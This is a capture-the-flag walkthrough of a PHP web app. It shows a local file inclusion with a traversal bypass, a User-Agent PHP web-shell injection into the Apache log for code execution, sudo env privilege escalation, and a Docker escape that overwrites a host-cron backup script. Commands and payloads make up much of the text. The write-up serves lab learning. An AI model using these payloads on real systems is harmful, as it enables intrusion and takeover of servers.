Overview
A PHP web app vulnerable to LFI via ?view= parameter with a controllable ?ext= suffix. Apache log poisoning via User-Agent injection achieves RCE. sudo env gives root inside a Docker container. A host-mounted /opt/backups/ volume with cron-executed backup.sh provides the escape to host root.
Phase 1: LFI Discovery
The view parameter loads files. Source code via PHP filter reveals:
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
include $_GET['view'] . $ext;
}
Setting ext= (empty) removes the .php suffix. The view must contain "dog" or "cat" — bypass with path traversal: dog/../../../etc/passwd.
Phase 2: Log Poisoning → RCE
Inject PHP into Apache access log via User-Agent. Critical: use single quotes only (Apache escapes " as \").
curl -A "<?php system(\$_GET['c']); ?>" http://TARGET/
# Include the poisoned log:
GET /index.php?view=dog/../../../../var/log/apache2/access.log&ext=&c=id
Phase 3: Container Root
sudo -l # (root) NOPASSWD: /usr/bin/env
sudo /usr/bin/env bash # instant root (GTFOBins)
Phase 4: Docker Escape
/opt/backups/ is a bind mount from the host. The host runs backup.sh via cron (~every minute). Container root overwrites it:
# Key: use HOST paths in the script, not container paths
printf '#!/bin/bash\ncat /root/flag4.txt > /root/container/backup/flag4out.txt\n' \
> /opt/backups/backup.sh
Lessons Learned
- Controllable file extension in include():
ext=empties the suffix, enabling arbitrary file inclusion. - Log poisoning: Apache access log is writable via User-Agent — single quotes avoid escaping issues.
- sudo env = root:
env bashspawns a root shell trivially. - Docker bind mount + cron = escape: if the host runs scripts from a shared volume, hijack execution. Host paths differ from container paths.